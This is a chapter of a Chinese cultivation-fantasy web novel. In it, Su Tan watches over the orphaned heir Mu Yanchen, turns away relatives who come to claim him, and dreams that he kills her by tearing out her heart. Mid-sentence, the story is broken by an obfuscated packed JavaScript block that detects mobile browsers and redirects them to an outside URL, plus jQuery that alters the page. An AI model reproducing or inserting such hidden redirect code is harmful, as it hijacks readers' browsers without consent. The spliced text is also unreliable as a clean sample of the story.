她无法精准地分辨出那种味道来源于何种药材,但是喝下去之后,一股灼烫的暖意从胃部腾起,瞬间暖和了不少。
“婆婆,今天换药材了吗?”她问道。
“没有啊,还是以前那几味,怎么了?”
苏檀有些困惑地微微拧眉:“没什么……”
似乎比以前的都有用,那种暖意,从药液涌入胃部开始向四肢百骸蔓延。
“姑姑。”慕焰嗔冷不丁站起,从她手中接过碗,“我帮你放到灶房去。”
说完,捧着只剩下残渣的药碗,正要跑远,苏檀忽然开口:“放那儿吧,我有话要跟你说。”
嗔儿顿了顿,放下药碗,双手背在身后,有些局促地看着她。
“你知道生死台吗?”
嗔儿摇摇头。
生死台又叫恩仇台,是天骄会专为有深仇的两人所提供的平台。生死台上生死不论,无论赢家如何处置输家,输家都不能有怨言。
生死台一开始是为了避免有人借天骄会寻仇,天骄会每五十年一届,开设的目的是为了寻求新一代出色的修炼苗子,以便提供天材地宝,好好栽培。
其实在三百年前,天骄会并不受重视。那个时候修真界势力盘根错节,即便举办天骄会的合盟内部,也有不少交错的裙带关系,有实力的不屑参与,有背景的早就内定了名次。
直到凤惊雪出现在天骄会上,一举夺魁。他以不容置喙的能力赢得了第一,像一记响亮的耳光,狠狠扇在那些酒囊饭袋的脸上。
可以说,名声打响修真界的不是天骄会魁首之名,而是这个名字背后所代表的天下第一。
后来魔神出世,修真界死伤惨重,几乎重新洗牌,为了物色出色的人才抵御魔族入侵,天骄会才再度为修真界所重视起来。
“你虽躲过了一次阎王点卯,不假,但是事情还远远未曾结束,李玄及还没有放弃,而你只有八年时间。八年时间,超越这个天下第一,否则恩仇台上,他必杀你。”
嗔儿后退半步,跪在地上,重重朝她磕了个响头。
“姑姑放心,我必勤勉修行,我不会再让李玄及欺负姑姑了。”
“不是欺不欺负的问题……”苏檀觉得这小孩抓不住重点,想说说他,但一抬眼又对上了那双明亮的眸子,还是那种坚定的,带一点固执的,很认真的视线,叫人对视一会儿就忍不住想挪开的视线。
她最终又什么都没说。
石婆婆向她诉说苍梧山堆积的事物,末了,忽然稍显犹豫地提醒一声:“你昏迷的这几日,这几天有客人来访。”
-
待苏檀见到来访的客人,知道石婆婆为什么支支吾吾了。
三危谷由修真者世家慕家世代执掌。
慕家是个很大的家族,旁支众多,一旦弟子成年,就会将其派出谷外历练,看行医救人的最终功绩决定去留。能留在谷中的只有两种人,要么血脉格外纯净,是嫡系的本家一脉,要么修为格外出色,是一代弟子中最优秀的一批。
而剩下的旁支、修行不合格的,则会被毫不留情地遣散出谷。
这些离开三危谷的慕家人,在各地扎根,开枝散叶,并利用从谷中带出来的医术组建了自己的势力,有的历史已颇为悠久了。
所以三危谷虽亡,但还留着些许旁支。这一次到访的就是东海杏林镇一脉的慕家人。
他们的目的也很明确:带走少主。
领头的是个气质儒雅的青袍中年人,与其说是医者,不如更像个书生。见到慕焰嗔,激动地往前走了一步,眼泪一下就涌了出来。
噗通一声,他双膝一曲,跪在了慕焰嗔面前。
“少主,你受苦了!”
苏檀喝着茶呢,也被这忽然的一跪吓了一跳,余光瞥向慕焰嗔,不动声色地观察起来。
小孩儿没什么表情,他眼褶深邃窄长,丹凤眼,眼尾微微上挑,只是因为还年幼,加上又喜欢用可怜巴巴的眼神从下往上看她,所以当他不用可怜巴巴的眼神看别人时,那点血脉里带的矜贵冷淡,一下就从骨子里透出来。
“我们听说三危谷被灭门之后,就一直在找寻少主的下落,直到前些日子才打听到些许风声,这便马不停蹄赶来了苍梧山上。”慕振琪说道,不断地抹着眼尾,激动无比地看着他,“少主,跟我们走吧!只要本家一脉还在世上,三危谷就永远不会真正灭亡!等您成年后,我会把旁支的家主之位让给您,期待您带我们重建三危谷!”
慕焰嗔一言不发,只是一点点掰开中年人的手指,理了理被他握皱的衣服,皱了皱眉,又走回苏檀身边。
中年人一下愣在原地,显然少主的反应出乎他的意料。不过很快他就调整好了心态,又走到苏檀跟前跪下:“还要多谢神女出手相助的恩情,您出手保住了本家最后的血脉,这份恩情,慕家会永远铭记于心。”
“不必谢我,要谢去谢蝎姥,我只是偿还她一份恩情。”
“是是是,是该谢谢蝎姥。”慕振琪又问起蝎姥墓地的位置,带着一群人浩浩荡荡前去祭拜了。
他走后,苏檀问慕焰嗔:“你想跟他走吗?”
她以为慕焰嗔至少会犹豫一下,但小孩想也没想就摇摇头。
“为什么?”她是真有些诧异了。又想起三危谷那些规矩,重视嫡系和传承,莫非本家的人,对旁支看不上?
慕焰嗔不答她的问题,却抬眸反问:“姑姑想赶我走吗?”
苏檀:“……”
慕焰嗔握住她的手,他握手就只握一点手指尖,小孩子就是这么握人的,苏檀指尖冰凉,但他掌心很烫。像个火炉,总有源源不断的高温供来。
慕焰嗔认真说:“我就跟着姑姑,哪里也不去。”
苏檀抽了抽手指,没抽动,只得由他握着,心里有点憋屈。
她又不动声色地呷了口茶水:“旁支会在苍梧山多留几日,你不必着急下决定,多思量几天吧。”
-
如果这只是一个普通的孩子,说留也就留了。苍梧山那么大,苏檀也没那么穷,添不起一副小孩的碗筷。
可他偏偏是慕焰嗔。
每当苏檀心软,那些残酷的、日夜在脑海中上演的预知梦,就会不断如一柄警锤敲醒他。
-
最先来的旁支是东海杏林镇,后来又陆陆续续来了几支。
有汴州的,清河的,也有大漠的。
慕家如百足之虫,死而不僵。不用往上数几代,这些人本也是慕焰嗔沾亲带故的血缘。
可惜慕焰嗔并不感冒,他甚至对这些人感到厌恶。总用一种冷淡疏离的态度,事不关己地看着他们轮番上演痛哭流涕。
和在苏檀面前截然两个态度。
他似乎很信任她,却也只信任她。
苏檀不知道男主的信任从何而来,可旁人趋之若鹜的少
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489599|185789||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主的青睐,落在苏檀这里,只会让她感到头疼。
更别说她的缠身噩梦从来没有断过。
她从前做梦分明没有那么真实,这几个梦却身临其境一般,都不像是梦了,像来自未来的警示。
-
战旗蔽日,黄沙莽莽。
这次的梦里她混在了魔族的随行大军里,朝着不知什么目的地前进。
一开始,她以为自己梦到了三百年前,那场仙魔大战还没结束的时候。
直到她随着魔族大军行过无尽黄沙,来到一处岩浆喷融后形成的黑色平原。
这片土地上,流淌在河床中的是冒着泡的赤色岩浆,草木不生,头顶的天空则是鲜血一般的猩红,毫无生机的土地上,黑色的殿宇群起,森严华美,鬼气透渗。
她寻着直觉,行过殿前万千身披寒光甲胄,沉默俯跪的魔族士兵,跨上漫长广阔,似乎看不见尽头的台阶。
台阶尽头,殿门大敞向两边,裹着火星的炽风穿堂,殿中坐着一道人影。
他单手撑着一边,似乎在闭目养神,殿内铜制缠枝灯晦暗的灯火映照着衣袍上恍若流动的银纹。
她看了一会儿,意识到,这是慕焰嗔。
这时似乎又过去了一段时间,他看上去比火烧苍梧山的时候更成熟了些。他杀“苏檀”的时候还是一个少年,现在却已经可以称之为一个男人了。
气质森冷,眼眸微弯,眼底却毫无笑意的年轻男人。
苏檀几乎有点认不出他,但又很矛盾地在第一眼就认出了他。
洁白的眉心间,一滴血泪般的朱砂。
心跳开始加速,那是烙印在本能里的恐惧。
“苏檀?”他看见了她,因为刚刚醒来,声音还有些低哑,语气近似梦呓。
很快,他清醒过来,定定看着她。
快醒来,快醒来……
她木着脸,站在原地动弹不得,想要用力掐自己的掌心,但梦中连一丝一毫的气力也没有,只能眼睁睁看着男人漆黑的睫羽轻颤,接而转醒。
慕焰嗔忽然笑了起来,模样很惊喜,眼眸很亮。他从小就这样,眼睛亮得跟星子一样,比所有的宝珠和月光石都要明亮,所以原著里“苏檀”会把他的眼睛挖下来做珍藏,这实在是一双值得珍藏的眼珠。
男人从高座之上走下,不轻不重地握着她的肩膀,把她推到茶几旁坐着。
他替她斟茶,绝佳的清香伴随袅袅的热雾从茶盏中溢出,他把茶递到她面前,笑眯眯的:“姑姑,喝茶。”
苏檀也不知自己怎么想的,就接过了这盏茶,或许是因为那一声“姑姑”。
“你是幻觉,还是梦?”
梦里的慕焰嗔,竟然问她是不是幻觉或者梦境。这感觉委实有点渗人,太真实了,苏檀手臂上寒毛都竖了起来。
她不说话,他又撑着下巴对她笑,丹凤眼弯成漂亮的弧度,语气甜蜜非常。
“不管是不是梦,都很好,我又可以杀你一次了,姑姑。”
茶盏陡然坠地。
盏盖在滚烫的茶汁中不断旋转,发出珠滚玉石的清脆声响。
一阵剧烈的刺痛从心口传来,苏檀低头,正看见一只血淋淋的手握着什么,从心口抽出。
“好奇怪啊。”男人握着那颗还在跳动的心脏,血液淋漓染红了他修长洁白的手指,他眉梢一挑,轻轻困惑,“你这样的人,心脏居然也是红的。”